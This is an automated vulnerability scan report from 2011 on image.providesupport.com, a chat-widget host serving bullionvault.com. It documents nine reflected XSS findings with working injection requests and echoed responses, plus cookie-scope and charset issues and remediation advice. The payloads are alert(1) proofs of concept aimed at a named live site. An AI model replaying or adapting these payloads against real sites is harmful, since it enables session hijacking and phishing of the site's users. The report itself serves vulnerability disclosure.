XSS, Cross Site Scripting in image.providesupport.com, CWE-79, CAPEC-86, DORK, GHDB

Report generated by XSS.CX at Thu May 26 10:21:43 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

1.1. http://image.providesupport.com/cmd/bullionvault [REST URL parameter 1]

1.2. http://image.providesupport.com/favicon.ico [REST URL parameter 1]

1.3. http://image.providesupport.com/favicon.ico [name of an arbitrarily supplied request parameter]

1.4. http://image.providesupport.com/js/bullionvault/safe-standard.js [REST URL parameter 1]

1.5. http://image.providesupport.com/js/bullionvault/safe-standard.js [REST URL parameter 2]

1.6. http://image.providesupport.com/js/bullionvault/safe-standard.js [offline-image parameter]

1.7. http://image.providesupport.com/js/bullionvault/safe-standard.js [offline-image parameter]

1.8. http://image.providesupport.com/js/bullionvault/safe-standard.js [online-image parameter]

1.9. http://image.providesupport.com/js/bullionvault/safe-standard.js [vsid cookie]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

4. HTML does not specify charset

1. Cross-site scripting (reflected) next
There are 9 instances of this issue:

/cmd/bullionvault [REST URL parameter 1]
/favicon.ico [REST URL parameter 1]
/favicon.ico [name of an arbitrarily supplied request parameter]
/js/bullionvault/safe-standard.js [REST URL parameter 1]
/js/bullionvault/safe-standard.js [REST URL parameter 2]
/js/bullionvault/safe-standard.js [offline-image parameter]
/js/bullionvault/safe-standard.js [offline-image parameter]
/js/bullionvault/safe-standard.js [online-image parameter]
/js/bullionvault/safe-standard.js [vsid cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://image.providesupport.com/cmd/bullionvault [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/cmd/bullionvault

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6cb27<script>alert(1)</script>674f2229630 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cmd6cb27<script>alert(1)</script>674f2229630/bullionvault?ps_t=1306387593190&ps_l=http%3A//www.bullionvault.com/&ps_r=&ps_s=RPg5nydCIFBs HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vsid=RPg5nydCIFBs

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Thu, 26 May 2011 05:26:33 GMT
Content-Length: 541

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
File: /cmd6cb27<script>alert(1)</script>674f2229630/bullionvault?ps_t=1306387593190&ps_l=http://www.bullionvault.com/&ps_r=&ps_s=RPg5nydCIFBs
</pre>
...[SNIP]...

1.2. http://image.providesupport.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 197c6<script>alert(1)</script>2a341996dd1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico197c6<script>alert(1)</script>2a341996dd1 HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vsid=o0pF4QCE7o9T

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Thu, 26 May 2011 05:56:04 GMT
Content-Length: 587

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
File: /favicon.ico197c6<script>alert(1)</script>2a341996dd1
</pre>

<!-- ========
...[SNIP]...

1.3. http://image.providesupport.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 7b84c<script>alert(1)</script>48223bc71c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?7b84c<script>alert(1)</script>48223bc71c6=1 HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vsid=o0pF4QCE7o9T

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Thu, 26 May 2011 05:56:03 GMT
Content-Length: 590

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
File: /favicon.ico?7b84c<script>alert(1)</script>48223bc71c6=1
</pre>

<!-- =====
...[SNIP]...

1.4. http://image.providesupport.com/js/bullionvault/safe-standard.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 38c71<script>alert(1)</script>c4f8b21df89 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js38c71<script>alert(1)</script>c4f8b21df89/bullionvault/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Thu, 26 May 2011 05:26:34 GMT
Content-Length: 583

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
File: /js38c71<script>alert(1)</script>c4f8b21df89/bullionvault/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif
</pre>
...[SNIP]...

1.5. http://image.providesupport.com/js/bullionvault/safe-standard.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload cbc6f<a>a95f834f481 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /js/bullionvaultcbc6f<a>a95f834f481/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Thu, 26 May 2011 05:26:34 GMT
Content-Length: 561

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
Page: /js/bullionvaultcbc6f<a>a95f834f481/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif
</pre>
...[SNIP]...

1.6. http://image.providesupport.com/js/bullionvault/safe-standard.js [offline-image parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The value of the offline-image request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 90700'%3balert(1)//0c76540b9ca was submitted in the offline-image parameter. This input was echoed as 90700';alert(1)//0c76540b9ca in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /js/bullionvault/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif90700'%3balert(1)//0c76540b9ca HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

1.7. http://image.providesupport.com/js/bullionvault/safe-standard.js [offline-image parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The value of the offline-image request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55f48"%3balert(1)//1a6d7ee124a was submitted in the offline-image parameter. This input was echoed as 55f48";alert(1)//1a6d7ee124a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /js/bullionvault/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif55f48"%3balert(1)//1a6d7ee124a HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI CURa ADMa DEVa OUR IND COM NAV", policyref="/w3c/p3p.xml"
Content-Type: application/x-javascript
Cache-Control: must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: vsid=H2fzK7N0fcLy;Path=/;Domain=.providesupport.com
Content-Length: 4874
Date: Thu, 26 May 2011 05:26:33 GMT
Connection: close

var psqZNssid = "H2fzK7N0fcLy";
// safe-standard@gecko.js

var psqZNsiso;
try {
   psqZNsiso = (opener != null) && (typeof(opener.name) != "unknown") && (opener.psqZNswid != null);
} catch(e) {
   psqZNs
...[SNIP]...
sqZNsd.innerHTML = '';
   }
}
var psqZNsop = false;
function psqZNsco() {
   var w1 = psqZNsci.width - 1;
   psqZNsol = (w1 & 1) != 0;
   psqZNssb(psqZNsol ? "/images/zoe-online.gif" : "/images/zoe-offline.gif55f48";alert(1)//1a6d7ee124a");
   psqZNsscf((w1 & 2) != 0);
   var h = psqZNsci.height;
   if (h != 2) {
       psqZNsop = false;
   } else if ((h == 2) && (!psqZNsop)) {
       psqZNsop = true;
       psqZNssi();
   }
}
var psqZNsci = new Image();
psqZ
...[SNIP]...

1.8. http://image.providesupport.com/js/bullionvault/safe-standard.js [online-image parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The value of the online-image request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb6a6"%3balert(1)//353fac32aaf was submitted in the online-image parameter. This input was echoed as cb6a6";alert(1)//353fac32aaf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /js/bullionvault/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gifcb6a6"%3balert(1)//353fac32aaf&offline-image=/images/zoe-offline.gif HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI CURa ADMa DEVa OUR IND COM NAV", policyref="/w3c/p3p.xml"
Content-Type: application/x-javascript
Cache-Control: must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: vsid=Vm5yqTcKpR5u;Path=/;Domain=.providesupport.com
Content-Length: 4790
Date: Thu, 26 May 2011 05:26:33 GMT
Connection: close

var psqZNssid = "Vm5yqTcKpR5u";
// safe-standard@gecko.js

var psqZNsiso;
try {
   psqZNsiso = (opener != null) && (typeof(opener.name) != "unknown") && (opener.psqZNswid != null);
} catch(e) {
   psqZNs
...[SNIP]...
</a>';
       }
   } else {
       psqZNsd.innerHTML = '';
   }
}
var psqZNsop = false;
function psqZNsco() {
   var w1 = psqZNsci.width - 1;
   psqZNsol = (w1 & 1) != 0;
   psqZNssb(psqZNsol ? "/images/zoe-online.gifcb6a6";alert(1)//353fac32aaf" : "/images/zoe-offline.gif");
   psqZNsscf((w1 & 2) != 0);
   var h = psqZNsci.height;
   if (h != 2) {
       psqZNsop = false;
   } else if ((h == 2) && (!psqZNsop)) {
       psqZNsop = true;
       psqZNssi();
   }
}
var
...[SNIP]...

1.9. http://image.providesupport.com/js/bullionvault/safe-standard.js [vsid cookie] previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The value of the vsid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f59fc"-alert(1)-"8fee3e3c897 was submitted in the vsid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /js/bullionvault/safe-standard.js?ps_h=qZNs&ps_t=1306388140960&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vsid=RPg5nydCIFBsf59fc"-alert(1)-"8fee3e3c897

Response

HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI CURa ADMa DEVa OUR IND COM NAV", policyref="/w3c/p3p.xml"
Content-Type: application/x-javascript
Cache-Control: must-revalidate, max-age=0
Pragma: no-cache
Content-Length: 4790
Date: Thu, 26 May 2011 05:35:45 GMT
Connection: close

var psqZNssid = "RPg5nydCIFBsf59fc"-alert(1)-"8fee3e3c897";
// safe-standard@gecko.js

var psqZNsiso;
try {
psqZNsiso = (opener != null) && (typeof(opener.name) != "unknown") && (opener.psqZNswid != null);
} catch(e) {
psqZNsiso = false;
}
if (psqZNsiso)
...[SNIP]...

2. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

vsid=nhehJKfXDQqu;Path=/;Domain=.providesupport.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /js/bullionvault/safe-standard.js?ps_h=qZNs&ps_t=1306387582850&online-image=/images/zoe-online.gif&offline-image=/images/zoe-offline.gif HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Referer: http://www.bullionvault.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/js/bullionvault/safe-standard.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

vsid=nhehJKfXDQqu;Path=/;Domain=.providesupport.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

4. HTML does not specify charset previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://image.providesupport.com
Path:	/favicon.ico

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /favicon.ico HTTP/1.1
Host: image.providesupport.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vsid=o0pF4QCE7o9T

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Date: Thu, 26 May 2011 05:55:59 GMT
Content-Length: 546

<html>
<body>
<h2>Error 404: Not Found</h2>
<pre>
File: /favicon.ico
</pre>

<!-- =================================================
...[SNIP]...

Report generated by XSS.CX at Thu May 26 10:21:43 CDT 2011.